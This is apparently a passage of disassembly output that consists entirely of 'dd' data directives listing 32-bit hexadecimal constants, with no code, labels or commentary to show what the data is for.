		dd 159951h, 0BD5BDDCh, 0E92403F7h, 73AC0A1Eh, 0B7A36E25h
		dd 5BE93EB0h, 6818DD92h, 0FD152838h, 6783B48Ah,	3CF4F252h
		dd 41C9DF5Ch, 0F7715994h, 92244547h, 43CA8BE4h,	0AE372A2Eh
		dd 93EBD03Bh, 79D3B04Dh, 95F7F9FBh, 0B25B9176h,	10EF90C2h
		dd 0CF411832h, 7A4D5740h, 0C13C03F1h, 0F78702E7h, 9E7CDE92h
		dd 42106C3Ah, 7D5B0999h, 8E065264h, 0C5BD79CEh,	24D3258Bh
		dd 68BA0209h, 3D5D6848h, 2CAF07AEh, 0FCBF08C0h,	703C4E17h
		dd 0CF02E4F8h, 71E11B9h, 0AB170040h, 764FB424h,	67F36A30h
		dd 798E481Ah, 68DFD11h,	6F64C4E3h, 867C2FDAh, 0BB045464h
		dd 0EAA3B77h, 0C48B4BC0h, 0FDF14B55h, 0B49190C1h, 2CE909D8h
		dd 60497709h, 0B5C3B252h, 0D54A30E8h, 9A343CD8h, 0CA30A050h
		dd 3B3118D9h, 25894E62h, 0C1100A07h, 0F1F006E1h, 129C7536h
		dd 8ACA317Ch, 6564D2Bh,	1DC743FCh, 4EE4094Eh, 58802695h
		dd 79761BABh, 665ACEBAh, 576F7689h, 64E5144Ch, 6B407A00h
		dd 0C3E5816Ah, 13674412h, 169874F8h, 0B03B749Dh, 0C2F5023Eh
		dd 0E3760F1Dh, 2F79C828h, 0AE91750h, 3B01B9C1h,	0B174092Dh
		dd 0BEB1D562h, 0CC75DE68h, 12DB4A78h, 49890D49h, 4FE9D06h
		dd 390180A8h, 0E963F6FBh, 627D9646h, 810B1D24h,	47C0BB53h
		dd 0A9C16A80h, 0F7DC02CBh, 0E745B029h, 8825E02Fh, 469D7BF3h
		dd 0C0F95460h, 48EEF317h, 0F73116BBh, 9A0810DBh, 0C43AC171h
		dd 0C2889131h, 89CF2F1Ah, 15F2F101h, 3A0174CCh,	0C041F009h
		dd 95DF2C99h, 0A19242AFh, 0B74FFC6Fh, 0A30EDB91h, 0D3548E42h
		dd 0B2F0E156h, 5ABC4012h, 2964259Eh, 38C4E681h,	2D3BA73Fh
		dd 4022C246h, 12DAD3C4h, 0BC290389h, 56BC4A38h,	6BE0D3B1h
		dd 0FE2F7B04h, 6BE15C8Dh, 8A3E3235h, 57560045h,	50406C68h
		dd 984CB802h, 71E92522h, 0F0B25049h, 4E5C4BF5h,	40B044D1h
		dd 0E8C14800h, 5C3C3504h, 32687FB5h, 803415CFh,	0F1997543h
		dd 6FB03E56h, 0EE883959h, 0AFF61FFDh, 0BEE94428h, 812AA5F3h
		dd 7CF8B9A6h, 0B63A11D9h, 17083CA4h, 9707EE26h,	1304658Bh
		dd 0AAE384h, 1EF47F92h,	0EAFEF587h, 0B8A5755Eh,	0E25A5360h
		dd 186F48D8h, 4D1B010h,	2C1835Fh, 997A01C9h, 474ED7Ah
		dd 625D44BAh, 732FE29h,	959E6431h, 7E522BE9h, 0E29B1E8Ah
		dd 0C2F72C5Ah, 4A54682Dh, 50A956A5h, 0F4E54C5h,	7EDDDE0h
		dd 606D7EDAh, 7205CB01h, 304BB436h, 3ABE761Eh, 7AE0E8D2h
		dd 0EC072FEh, 0CD0F6C8h, 0B097527Fh, 0F71CBE50h, 0F12FCC02h
		dd 0EB443041h, 34124726h, 0C18540E9h, 26F1CE9Dh, 0B600846Ch
		dd 0BBB753EEh, 801CD7F6h, 0FE1493F7h, 0DC1B25E7h, 1E5D5284h
		dd 67F39750h, 7182EE01h, 24820F86h, 5C5A2752h, 1C41FCC3h
		dd 141CA008h, 0FED45F4Eh, 22FAEE7h, 0D5E91351h,	90201394h
		dd 0CF350773h, 0A2AFCE6Bh, 0BDF4C093h, 0D53EEF79h, 8B93B2B7h
		dd 35C805C3h, 0EE1684E6h, 255AE33Eh, 2067A1Ch, 0C83110E8h
		dd 647F5396h, 39BB1E58h, 0B827522Fh, 2CB94A91h,	0A474F8E4h
		dd 4ACDD50Ch, 2CB90968h, 3A007A8Eh, 7118AFE5h, 282D6D48h
		dd 407CF7DCh, 3023CD06h, 91874A7h, 22EED660h, 33C66F0Bh
		dd 2007AEC9h, 0E0D02DF8h, 0BDB24F42h, 30F405C4h, 7BFC3DBCh
		dd 4EE90740h, 0BAAF85ECh
		dd 0CFC2364h, 0A7DCE218h, 582F1D8Fh, 9E73C532h,	7E768BB9h
		dd 2C90880h, 52608C62h,	21354C66h, 0BE1F86Ch, 41FB5BCFh
		dd 0DA3B417Eh, 622D9C20h, 3462CE4h, 9D02A71Bh, 10478A6h
		dd 0A75E50BDh, 0D0E98438h, 0EB6D12EAh, 58C76C61h, 3095E63Bh
		dd 0A9BD0B30h, 0C51C4C64h, 1DAA2810h, 8840EC80h, 0B35358E5h
		dd 0DFB2384Ch, 20E9DA0Bh, 6B2D9B41h, 0A26842D0h, 1557C43Ch
		dd 2000ED90h, 3F1AB772h, 0B80398D2h, 60902DE8h,	3E4BDE9h
		dd 0CBA30FEDh, 0D76FD9D5h, 0D2BEF8F2h, 46AB7D08h, 0AD76E522h
		dd 15FAEF29h, 71FB973Fh, 0D2386F99h, 0A0FBAB24h, 16034FBEh
		dd 0F0B3984Ah, 0FF06C483h, 0EB0399BAh, 27636F56h, 0DD0E044Bh
		dd 0BE06052Dh, 62783680h, 0DBEC4C91h, 0EFB8904Fh, 0A5044B88h
		dd 5F595758h, 538788BFh, 0C19A5B97h, 6322F7E9h,	3BC54CF3h
		dd 276840C2h, 0C6FC4B67h, 747A7FE2h, 0B85F886Ah, 0C8082226h
		dd 972C02F9h, 59457A04h, 2847B585h, 0E913BBADh,	66CA41AAh
		dd 0E435CDBFh, 0CABFB69Fh, 31B2B05Fh, 9642FEC2h, 0F168041Dh
		dd 0EC8FEF72h, 0E984B149h, 5DD7B03Ah, 50CE96B7h, 6219CE52h
		dd 1AD4F17Eh, 0DC973F59h, 0C160B4h, 12B9C06Ah, 59304A21h
		dd 9489D490h, 8960D95Dh, 5FA0145h, 35F7F276h, 0CA0C6A62h
		dd 10B4C5D2h, 0F70EB852h, 2948955Eh, 0B8818D1Ch, 0D0EB212Eh
		dd 0F90CDC81h, 370B8424h, 0DC3C8B2Dh, 9E9D914h,	0B69207D4h
		dd 481C828Ch, 0A2D8220Eh, 6EE8894Eh, 0FD5DEA16h, 84612F64h
		dd 0DABF5838h, 2F1E11DAh, 0B55E81Eh, 6AC8932Dh,	6A168CC5h
		dd 0D3445304h, 98AF8303h, 0C84A93EBh, 14D5A41h,	8AEC2E22h
		dd 7F8880B3h, 2FF2385Fh, 920C3C4h, 0C11C7659h, 29D03046h
		dd 0A4E90B44h, 0FA403B0Ah, 8800F114h, 5C038472h, 0CB4AE2D1h
		dd 0C8F8E43Eh, 0A921179Fh, 368C5F4Dh, 285829E9h, 0E1F60914h
		dd 0FEA0AFF7h, 0B9E1055h, 185DB768h, 0E4CE887Ah, 9A1B9F7h
		dd 2327D44Dh, 0F8F072D1h, 0C95F8907h, 7C49E2DCh, 0F2DA722Ah
		dd 290D3E91h, 0D92A1B03h, 0A10E7E8Eh, 4B561E65h, 0E53093ECh
		dd 13E1E918h, 8B154897h, 63C5BF08h, 0B9578AA0h,	2E5717DDh
		dd 2B1C15D2h, 0D5206D2Fh, 5E2FB34Bh, 2D87E916h,	521E01F2h
		dd 0ED0B8956h, 7FC62191h, 72E75D16h, 82B14C64h,	6355D0DFh
		dd 0E331A594h, 237644C2h, 53AA6419h, 5756448h, 93C55307h
		dd 6A4C89A5h, 48E29AABh, 1405BA57h, 0C72A1968h,	298908BCh
		dd 6722D5F7h, 0EF9B1713h, 73CE77C3h, 0E2B60095h, 48AC559Fh
		dd 57055E3Ah, 82CF78A9h, 536604A6h, 1A250090h, 7D6DCEA0h
		dd 0CBDB9758h, 0CA025612h, 0C0197BC9h, 0CBCDF2E9h, 0BA5C890Dh
		dd 5DBF05C5h, 54FA6D4Ah, 0E9162B98h, 0F8BCCBA0h, 8F20DCCBh
		dd 0ED15F2B9h, 5E993658h, 0E05E63D5h, 0F4CA2057h, 607C9840h
		dd 0F7A3FFEh, 58B563ADh, 0C2C0BCFDh, 0A2805AD1h, 5EB3652Eh
		dd 0EFB95101h, 8730674Ah, 0D2DD3560h, 794A0108h, 7BAC12A6h
		dd 0EF113Ch, 2A926459h,	0E908E7C1h, 0FD0E744Bh,	0A3EAC557h
		dd 5839B2A6h, 42D8192Ch, 5B006E32h, 9759CB89h, 0A2978644h
		dd 54FEBADDh, 4A13C298h, 1D5EFE6Ch, 6EC7E390h, 62AC00ADh
		dd 355FF809h, 0E163FB0h, 4C058907h, 0ACD18560h,	5DE005E6h
		dd 907FD094h, 0E00CB805h, 0C182AB43h, 91E07742h, 9BB9AC7Dh
		dd 6D52539Eh, 0E1FB27EBh, 7073425Dh, 10BC300h, 0A3E1B8h
		dd 0B70D1161h, 0A1295E2Ah, 5B0800E6h, 13C2D6F7h, 83265C41h
		dd 9097F5BFh, 0B0CE3123h, 21CC2559h, 9B0CC765h,	0F7EBC16Dh
		dd 6F6CE140h, 25207E7Dh, 4C646EF5h, 41EE10Bh, 9AD00D43h
		dd 0F75D0800h, 0E33AC1D3h, 824C5E0Ch, 2430FF1Eh, 4DC0D014h
		dd 0EC62B7DEh, 0F609FA17h, 814E005Eh, 865CFDCEh, 0E2C2A7Fh
		dd 19A54D8Eh, 0AD608985h, 5A9540DBh, 1DC32C38h,	2D3B04E8h
		dd 137B6629h, 0AC10FD68h, 5A55A83Fh, 0E30EA832h, 4C2012EDh
		dd 0DBBDF4A2h, 3E409898h, 0C7CE8308h, 0ACD757A2h, 9CF2A29h
		dd 4D600E5Ah, 5A9C4152h, 9A178BA6h, 82ED0E52h, 1444BBD6h
		dd 81002C46h, 62711CF7h, 0C9797F59h, 4D8858B9h,	35106731h
		dd 295D13D8h, 4BA13DA0h, 9ED4AD6Fh, 157C33BBh, 7771BAE7h
		dd 0CC68A9A1h, 0B5B4385Fh, 45BE4B95h, 0B81A83FBh, 609DC196h
		dd 96F53316h, 0BA04043Ch, 81713532h, 1E4DD1Ch, 0FDC8E788h
		dd 1E9B9F5Bh, 0C3D9EBDAh, 649351E9h, 4C24BE20h,	1E302AE1h
		dd 6800F350h, 0AC2D5AEFh, 283CE51Ah, 31D00F21h,	0E7803F3Dh
		dd 2B7F72A4h, 0AD2B719Dh, 650C9E7Ch, 4FEFF730h,	0DF93EC5Dh
		dd 0CDF16992h, 3B72AF35h, 5A009DD1h, 0BB52DC50h, 9B16D775h
		dd 9AB201E8h, 0AD5AB948h, 25BC1242h, 31805037h,	9F79903Ch
		dd 0E506C76Ch, 2E560612h, 948F4C8h, 5E94499h, 0C07789C2h
		dd 25279F9Fh, 1B5E2BA5h, 29DAE02Dh, 0CDE92FD0h,	1AB11EE0h
		dd 30DAB218h, 0B0501Ch,	34D0F6ACh, 0B1EA805Fh, 0F2C2283Ah
		dd 626671EBh, 0AFE9129Ch, 0DA1388h, 0BB79D272h,	9D0C8DECh
		dd 0EA950A98h, 8347EA4h, 5F1ADE4Fh, 2705BC5h, 24F4E9DFh
		dd 0E288387Eh, 7C226ADh, 0A2407F5Eh, 0B055B5C9h, 0BB01D406h
		dd 50558F73h, 9118D880h, 40595839h, 2C2E48F5h, 0CFA5B234h
		dd 0E95285D9h, 0F9D6E1E3h, 286CDD4Eh, 0AC2124B3h, 5D20F128h
		dd 6109FCB7h, 0FAB30A6Bh, 0E8EA8CF6h, 41FB1DA4h, 0A7B6286Ah
		dd 0D77463E2h, 0FE25A9C7h, 0C1E9D023h, 0F6812096h, 884359Bh
		dd 128C9230h, 3146B79h,	9D66D507h, 0D20180B4h, 1E89964h
		dd 0C22559BAh, 4523489Ah, 0E56881D4h, 0D9A63A69h, 0B160167Dh
		dd 21DEC5Ch, 0B5305DC1h, 0FBC15D6Eh, 0ECC63006h, 4F2C5B81h
		dd 45B5B3A4h, 0C97020D6h, 5F58F0A8h, 386C9BB5h,	0D1C1291Ch
		dd 0CFF6DCD7h, 69EB519Dh, 0A1CA9A5Fh, 9D68E9A0h, 0D22E7A35h
		dd 0BE6498CCh, 2A11AE05h, 0CF84890Bh, 483293C0h, 88275822h
		dd 0A3033303h, 48E6016Eh, 17BB9040h, 0B0103ACFh, 4095DD0h
		dd 9315C8Ah, 8F8D74D4h,	43E5B7E9h, 8B89AACEh, 72F11880h
		dd 314C6D25h, 873FA890h, 2625DAh, 502E687Eh, 0BC6F4BA2h
		dd 0BBD31347h, 818071E8h, 741941C9h, 4D20D498h,	0AD5A4AB7h
		dd 0DA1A1024h, 14EA6D6h, 7520349Ch, 0CD7A4481h,	5310AF2Ah
		dd 0B35E3C3Ah, 0E9887B4Ah, 61C94AA5h, 6487EBDEh, 13BD4504h
		dd 4A7BE2A8h, 0B08D186h, 41E86988h, 0FA266098h,	4626FE47h
		dd 8DD9F689h, 82DE4F70h, 9DB62F0h, 0BC4E6B85h, 456C4E63h
		dd 5BA45870h, 8F1415DEh, 7C279D48h, 49520D87h, 5AF05780h
		dd 0F881C730h, 66A0396Ch, 41970F68h, 8E3FA1EEh,	0F94A7EB2h
		dd 0EFBC12C4h, 2CB68950h, 3F00E725h, 422A8CEh, 0A218DA4Fh
		dd 97AA9085h, 4BFCDF5Ch, 0B314A197h, 9571DD20h,	0F9297E10h
		dd 0AE135B9Fh, 68DE8B32h, 0BCEEDB5Ah, 3DBD35C0h, 0B150CCCBh
		dd 0D2C908E8h, 6EAFBA00h, 2811BFDh, 3C51EDCAh, 0AE1420Eh
		dd 5DD504B2h, 7A5E387h,	0AAFD58E1h, 0B59669B9h,	997CBA30h
		dd 88C65F9Eh, 58955C67h, 0DC8F8076h, 5FDF1621h,	7F080349h
		dd 29B985E7h, 106139D1h, 174887CDh, 4B1BB809h, 3C4AE8Ah
		dd 23A502DEh, 7F00C04h,	70C06243h, 0DD5A5D1Ah, 30E7828Ch
		dd 0BD566670h, 0D5390E05h, 0F5AFD1AFh, 50C77E5Eh, 9985D664h
		dd 3B8C9116h, 60652768h, 5B9676D3h, 19171605h, 8B6E7C39h
		dd 55CE2612h, 0F575B8Bh, 0BE6A815h, 1A5DD768h, 2D6A4113h
		dd 2CD36600h, 0F2279692h
		dd 47015967h, 0B54211BFh, 798F407Ch, 5CC5EF0Bh,	8DE80685h
		dd 0A407B9D3h, 4A30A899h, 57A0BF08h, 646B1E29h,	8E2648B7h
		dd 3EB272Ah, 0E9182C58h, 0F193CC2Bh, 4479387Dh,	8C80996h
		dd 0C728F0D9h, 5D00148h, 0B923E0ADh, 886104A5h,	0CB7EF621h
		dd 1AD85F79h, 0BB01FB42h, 49B3EC4Bh, 0D85FFB98h, 3FACB112h
		dd 0F71662D0h, 2D68921Dh, 5B26295Dh, 23F10B1Fh,	7F0561E4h
		dd 0CB013710h, 74D873C2h, 0D9056998h, 10CFB6C3h, 662C92DFh
		dd 0E2E33926h, 56C36A7Bh, 1794BED0h, 84F31CC9h,	0AC138933h
		dd 8A4D7839h, 2159123Bh, 5528D10Bh, 703838A0h, 68127BF5h
		dd 1A4B45EAh, 0FBB51092h, 0D33F966Ch, 4A020C22h, 8BE2F955h
		dd 0A47CDB5Dh, 5FED10ABh, 2D68CE70h, 34489D0Eh,	438A3B6h
		dd 0B1F0258Dh, 0CB508C18h, 37F7CB8h, 0B025136Fh, 5C07D12h
		dd 33005AEBh, 65354052h, 68120B2h, 91E9C229h, 0F75838AFh
		dd 0ACB91270h, 0B02F64FAh, 3914DC70h, 46E13E29h, 0D85878DCh
		dd 0E9104016h, 25F168EFh, 4AC27E5Dh, 0FE13130Fh, 512B5A77h
		dd 604C1E8Dh, 0A159509Dh, 66252098h, 2B481466h,	0ED471C05h
		dd 0B201C011h, 6AE5734Eh, 8A8C31Fh, 4E141CD0h, 94390645h
		dd 9F2BD2CDh, 0FCC4FA8h, 0BE81DC1h, 96680431h, 0B1CCFA1Ch
		dd 1A20EB5Ah, 2BE44171h, 14CE3B6h, 65DD84h, 0AD5D03BDh
		dd 0A472984Ah, 9A449006h, 88525A51h, 864058BCh,	0D8599531h
		dd 42FE2964h, 0A5D0E96Fh, 54800574h, 0F71DDC68h, 9F3F0D3h
		dd 59264BF8h, 63EB8801h, 0B75DA66h, 3E3B68E2h, 3C7995A8h
		dd 9FD1B646h, 53602651h, 9D8AA7E9h, 0F5209644h,	685B09A6h
		dd 30DF48CBh, 0B602EA5Eh, 4594C2CAh, 32E1842Dh,	61E95F84h
		dd 500CB387h, 9D9A0A05h, 286C6816h, 559562EEh, 977434DDh
		dd 0E698EB6Ch, 0CCA8114Bh, 5FB06884h, 93B7C74Bh, 0C881D3DFh
		dd 9D4F364Eh, 0E2078950h, 29E18CABh, 1A915569h,	0D3DD3F51h
		dd 0D92CDBF9h, 7DEB800Fh, 88B6FE05h, 767AFA94h,	7E467E27h
		dd 4509BBAAh, 5D017A9Dh, 47E74C0Ch, 4EE06FD4h, 9FE98F28h
		dd 0A49DC7BAh, 2DFB547Fh, 6F623ABDh, 2FE398BEh,	7E2981A2h
		dd 4D8C0735h, 42644091h, 0EA86A09Fh, 7FF83D58h,	78AC2D6Bh
		dd 11F01148h, 7857A727h, 9E88FC37h, 80EB258Bh, 3FEA0ECAh
		dd 0BFE04555h, 0E5027AA5h, 0F5E0492Ch, 6495AEDFh, 0A9C18118h
		dd 680AB373h, 6FF53847h, 0AA74BB01h, 31DF254Eh,	2B6CE538h
		dd 55804974h, 482E60ADh, 0C8045A6Bh, 0EA79C666h, 3CC9ACD0h
		dd 0F02C4E91h, 75125606h, 0EFF8479Ch, 688B0288h, 0B48874F4h
		dd 5EDF9C5Eh, 931647B5h, 0E46821D3h, 7D050263h,	0F6124BCBh
		dd 2EF2EDDBh, 59FC680Bh, 0B7206BC6h, 0B709870h,	0C081B551h
		dd 0C5FEED03h, 76A50A40h, 0F1CDAE4Bh, 0CB1963Ah, 58BD499Dh
		dd 0B362B829h, 5C6A05E9h, 2C576D5Dh, 124CE23Bh,	55685C01h
		dd 97B8E6CEh, 0E984F715h, 0DCFB1E64h, 8525C32h,	99542290h
		dd 0A5662412h, 0EFEAE57Eh, 0FB6D0A01h, 0CA684D27h, 1902374Ch
		dd 907D903h, 0D095EE2h,	0F4E86122h, 0A4F85140h,	0FDAA4B83h
		dd 0B1FC7BFFh, 141317D2h, 0C98423E8h, 55B598D5h, 0C6E6687Ah
		dd 54AC504Eh, 3707E04h,	52C0FF07h, 9D30B841h, 36421FC0h
		dd 35053FFCh, 559F760Ah, 4B0D83AEh, 40B26EE8h, 14C04871h
		dd 5A08612Dh, 17EBB48Ch, 8BB1389h, 327F8DEh, 0B6DBAFh
		dd 6D66F6A5h, 0F7319656h, 620D5E5Ah, 0DA4621B8h, 8B87EEEAh
		dd 9D5D20C8h, 0EFF57C4Ah, 0DA80806h, 394B64B0h,	65122E8Ah
		dd 890E53BFh, 2AD661AEh, 958B3116h, 0B00E2225h,	266274A6h
		dd 7E76BE05h, 0C4BA6928h, 3B6C83F9h, 465F8BC0h,	3002C2C3h
		dd 0F289B9AFh, 1C38AC31h, 66CB135Ch, 1D001B5Dh,	0CDDEB259h
		dd 7E0EC5C4h, 0F3C89617h, 24C75F5Fh, 9B4A87Ch, 51660168h
		dd 0BF5488F5h, 0B50B2226h, 133C796Bh, 107891D2h, 0E2722B62h
		dd 0B7F84E51h, 639CAAF8h, 27EA5349h, 0BB15D03h,	0F9BA1002h
		dd 414C235Bh, 1521788Bh, 227CD4C6h, 7DC0C4B6h, 6B6802F1h
		dd 0A67BD331h, 5343CB69h, 0CD57949Fh, 422CA4ADh, 4492D45Ah
		dd 16E94280h, 0C565DF10h, 0C0835A85h, 15502DFAh, 80A98491h
		dd 0CC6C2CFCh, 98E97509h, 5A54FAEBh, 0D22CB8B8h, 0C98A0811h
		dd 0D8186C2h, 1C89BC0Eh, 494A2868h, 6A55CDC7h, 6DA2E840h
		dd 251C7EE5h, 1568D969h, 27BDD1C9h, 33E54F24h, 35F41AB1h
		dd 0A30AD661h, 0CAFC4FDCh, 3A1F268Dh, 0E3C673A2h, 1ABEC7C4h
		dd 2F0FB23Ch, 52027729h, 0CC0A74BFh, 57D59309h,	0A70FF32h
		dd 65BF09F6h, 758E02E9h, 0CC4151F8h, 1052A07h, 0DDBF92C0h
		dd 0F6C66137h, 0DA2F5FD4h, 4088252h, 113CDAEh, 7B5C4748h
		dd 349CFD63h, 32B1665Ch, 8160B288h, 6D354FF9h, 0A4816C5Fh
		dd 422A3AF4h, 2827E5h, 0DA416C8Eh, 0D6E9166Fh, 3EF6269Ch
		dd 214F2070h, 807A41F0h, 0E61D8852h, 0F403D6F6h, 93D4305Ah
		dd 0E9080DE2h, 2E268CA3h, 8D13B2E2h, 688F9DDCh,	0CFC618AAh
		dd 7F2859CDh, 63F8C4D0h, 0C2EA4E83h, 431EBE3Ch,	82AC725h
		dd 5B2F1B2Fh, 0F7CF2C1Ch, 1CE47E1Bh, 8E28B838h,	2C29654Fh
		dd 0BE0812EAh, 26816B35h, 822DE211h, 237C2860h,	0B19A491Ch
		dd 16C14A71h, 0F9D3390Eh, 2B20A025h, 18175DCAh,	0EF030F16h
		dd 0E3916F3Ch, 0AB8CCA7Ch, 0CAB7B92Bh, 37CE8137h, 0B230DD5Fh
		dd 0E8144F79h, 0FBADE404h, 5910A110h, 8B688CF5h, 0BB83C15Ch
		dd 300B0327h, 0E92FDBF1h, 0EF1E4838h, 0AE310730h, 85CF0133h
		dd 59080BC7h, 30FDC5EAh, 0B42D0B8h, 2DE923C7h, 5C5B6F50h
		dd 68C7A6B6h, 71741B67h, 4E7E68D0h, 0B08AF810h,	401EE81h
		dd 2950B769h, 1F86C4D6h, 5D2D3F08h, 903B4122h, 2FBCDD09h
		dd 0F67DC195h, 0FBC3D16Eh, 0A00D0098h, 31460161h, 87921205h
		dd 84102A99h, 97212095h, 0A820B6FAh, 0F6612BDh,	0F4BE21BBh
		dd 3CC2625Eh, 8E7F1405h, 9CBC5B13h, 45E79F16h, 0C71CB291h
		dd 6743A2F5h, 243C9279h, 2C89F662h, 258ED792h, 8B092828h
		dd 6CECD91Ch, 0F99D020Ch, 0D702EB90h, 0B3182CF7h, 506600CFh
		dd 0B490B551h, 0EC4D2809h, 73F29947h, 0F007593Fh, 0D8402223h
		dd 7331B130h, 802C1E51h, 592C79E9h, 5E604B8Bh, 0FD011DC4h
		dd 0D6CD817Ah, 0C420D277h, 63F91AE5h, 95549CD4h, 459C2B0Eh
		dd 0B2122997h, 94B152F8h, 0DD5802B6h, 687C32CEh, 7CB91E5Bh
		dd 3E8895A1h, 48C5D22h,	1AACE250h, 5DEF9993h, 3E255364h
		dd 7B01C8ACh, 5175160Dh, 0A8CBC221h, 4597CE70h,	5CA2FCFh
		dd 16E1675Fh, 8B75A866h, 0DF92C26Ch, 7911F730h,	0E90ED60Ch
		dd 9731C377h, 0F22501F1h, 0B73227CCh, 2F515C91h, 0E9C422E6h
		dd 9EEDA2A7h, 48DA80C9h, 16F8FE86h, 0FA05A14Bh,	4CC26456h
		dd 744DE90h, 0A4558935h, 220CBB91h, 0BAD95B33h,	2A43BDA7h
		dd 6164FFF5h, 488417FDh, 585F0A98h, 801684E9h, 7108B7E4h
		dd 40AC149h, 363CF168h,	4652070Ch, 78F2389Eh, 71E75D73h
		dd 5902C68Bh, 0FFE98907h, 8B687176h, 0DF9E6225h, 5D09CCC2h
		dd 0D38895D4h, 9933A74h, 74A8A35Dh, 83441F4Bh, 0BB304FE7h
		dd 0D72E3ABFh, 0EB12B240h, 4BD3BEA5h, 0ACB0F824h, 0F3D84921h
		dd 0DE34BFA4h, 0F0A86282h, 0D5F60747h, 30ABE580h, 0EA309EF5h
		dd 322C591Ch, 0E52D009h, 0CA88C1CFh, 1C788EE9h,	5EBA6809h
		dd 0EC973244h, 942B54D1h, 3FE7AC5Dh, 3580382Dh,	2FA30534h
		dd 0E2974730h, 94070F70h
		dd 0BF8B5F11h, 922AD61Dh, 6877F03Fh, 25436520h,	0B048CE9h
		dd 0B9D8EE56h, 92A75FD5h, 33CA71CBh, 2DAFE7D7h,	280A1AD1h
		dd 0C845F1EBh, 0B33B70E1h, 0F15CC952h, 18DC2631h, 55E2EDFh
		dd 0CC53E01Dh, 2DC80105h, 5CE30712h, 0B35AE909h, 0D3B5DCC4h
		dd 0B460157Eh, 0C010F048h, 0F06627E7h, 0DA014186h, 4546F1E0h
		dd 0F925A62Eh, 300851B9h, 6C13A0FFh, 812C9Fh, 0C907C424h
		dd 30B72D77h, 0E96DB43Bh, 2E1B192Fh, 0A73E2231h, 5157C9A3h
		dd 0F6F20EFDh, 4906E80Bh, 65A0ADEh, 0B9365BCCh,	0D9BE0918h
		dd 0BF769C7Fh, 3724B64Fh, 3C89D225h, 8613B1F6h,	0ECB9575Ch
		dd 8AA44FB0h, 91FAB55Fh, 0A16AEB24h, 95F56F97h,	34A98F3Bh
		dd 9C01E165h, 16A827D0h, 636C0DEDh, 84D6874Dh, 0C927BC23h
		dd 0B32E2074h, 12C3FEACh, 0EE97EB80h, 9739061Ch, 59ED1604h
		dd 1A5D11C9h, 8E1675F2h, 7E95156Bh, 0D01BD8E4h,	0EDC912A1h
		dd 0AA227A3Bh, 46AB752Eh, 0C079C5Fh, 2FF96851h,	0B0440C6Fh
		dd 42BD0ECFh, 0F7C14971h, 0FCAEDA79h, 0D397FA31h, 0BE65272Eh
		dd 0F3C9090Ah, 680BD311h, 187F7B83h, 0BFDCE96Bh, 0A2DFA6B2h
		dd 0A2ED23D5h, 775EF5B6h, 214AC593h, 0FAF439BDh, 0C0997F67h
		dd 2D685885h, 805E18EBh, 5B951C0h, 756D2717h, 13049274h
		dd 260E25BBh, 0B365B527h, 0C513CCA2h, 0EFE36DD5h, 89A3FD13h
		dd 0C5C7A0FBh, 89EF4Ah,	6187F0FFh, 5AC79DC3h, 62683430h
		dd 0EE1EBD50h, 0E2237195h, 75A2BE56h, 44B5D7h, 0CD270877h
		dd 976C5826h, 0D128A7C4h, 0EC09E5E7h, 0E032DE30h, 9F623FF8h
		dd 0B0772612h, 91E57C03h, 5F9C0287h, 0D55181h, 0F2B850DEh
		dd 0A30272Bh, 74B473F0h, 7E69CE87h, 0BE973D1h, 935E5D9Dh
		dd 5428820Ah, 0EF6B3355h, 552F62E9h, 795406E1h,	2FA292D2h
		dd 947FF841h, 0ADCC08D9h, 0B7CBB600h, 1DEF80D7h, 5DF72841h
		dd 45A44C7h, 0D8DE8249h, 5E3B900h, 0F6167E4Bh, 5C3FCB61h
		dd 0A225B5C5h, 4672EE7h, 0CB868047h, 1E7C347Ah,	4E2B6649h
		dd 45D77B62h, 0FE4BA7DEh, 477791FAh, 0C5153FF0h, 0D00FC094h
		dd 51245B5Ah, 0BEF7A4ABh, 0A4DA1D80h, 0E02220A4h, 4F9F46BFh
		dd 0AC90EC50h, 8C552DE9h, 1EEFFE20h, 0D9A022D8h, 0E35339Ah
		dd 0E5A0AA62h, 0E4F8B050h, 0A1FA5E88h, 59CED464h, 0F77B5379h
		dd 145BF834h, 0D76EFD1Fh, 0B37C8AE3h, 264CFB02h, 0CC36608h
		dd 0EB990BC7h, 5FEBA29Fh, 0EDCB88C1h, 0F3710B38h, 855D89E4h
		dd 29AFB0D3h, 0C4DC3F6Eh, 9EBA9802h, 19C024D7h,	27ADBF52h
		dd 930E1064h, 0AEF28000h, 0B7B35366h, 0BC7AF3EEh, 0E922C30Bh
		dd 644585Ch, 8850C1FEh,	0EAB0D8CCh, 93F56FFCh, 0D0B25B1Ch
		dd 0E4E276C9h, 873456E5h, 0B14E25A7h, 0B1F178EEh, 8100CF9Fh
		dd 3F0A42E6h, 0D74E0FB7h, 235A3A02h, 78F18141h,	5FF2C1Ch
		dd 322EF218h, 0F067C3C8h, 5E58C790h, 8ED4294Ah,	109C8FBAh
		dd 18AB951h, 662626EDh,	44978784h, 0FD119829h, 20E60DA0h
		dd 88241E84h, 5B0011C7h, 17B65258h, 4BE60580h, 0BA5CD2E9h
		dd 347DA229h, 5CEEE917h, 0CF8D2643h, 9DA60248h,	40E9F712h
		dd 0B210DE75h, 0AD64F406h, 0E9873413h, 457116h,	2CEE5BDDh
		dd 0C24809DCh, 0CE9F7CE7h, 0ABE78522h, 0F20C30EAh, 270BCA06h
		dd 20F913E9h, 70431504h, 0BAECF450h, 0C1A95C9h,	1C4D35Eh
		dd 808D9C09h, 2E4D59A9h, 0E098BBB3h, 9E2768C8h,	52D07662h
		dd 0FDD61A7Dh, 18076FEBh, 38EC6753h, 1CE9EAC0h,	4A7074C8h
		dd 0D72E1EDAh, 3238BEEDh, 67DD4D78h, 0A95B015Eh, 2F6F6538h
		dd 0B608A36h, 4FBB1FA0h, 7E542E57h, 75571706h, 4D20080Ch
		dd 0AC064691h, 48A8E38h, 246FC9CAh, 2638803Ah, 0CB2F4047h
		dd 380C5929h, 0B4685281h, 2E2C9D2Eh, 0C0D646C8h, 71CB0594h
		dd 1252197h, 2554C5C3h,	80C2307Eh, 58F194F7h, 8806E75Eh
		dd 7BF2CDE7h, 564B44F0h, 82FAC524h, 457F170Ch, 84EB1FE6h
		dd 0BB18B311h, 6008C450h, 0D1E958ABh, 8D2ABC8Dh, 6B3A0712h
		dd 408A83E0h, 8B24C702h, 0FA1206B4h, 0B297ABE4h, 2DC7B509h
		dd 0F20165ACh, 2E5E7B1Eh, 0BBEED83Eh, 58659517h, 0FC5E5EF8h
		dd 0EF255FDFh, 5F58DEBAh, 50B230ACh, 0E3528182h, 5DC09AFDh
		dd 4B96B06Ch, 0DD7E2422h, 0F205BBA9h, 48AFC5DBh, 0C080A5F9h
		dd 45BFC31Dh, 0CC07599h, 1B82416Ch, 16EA5BE9h, 0F381F98Eh
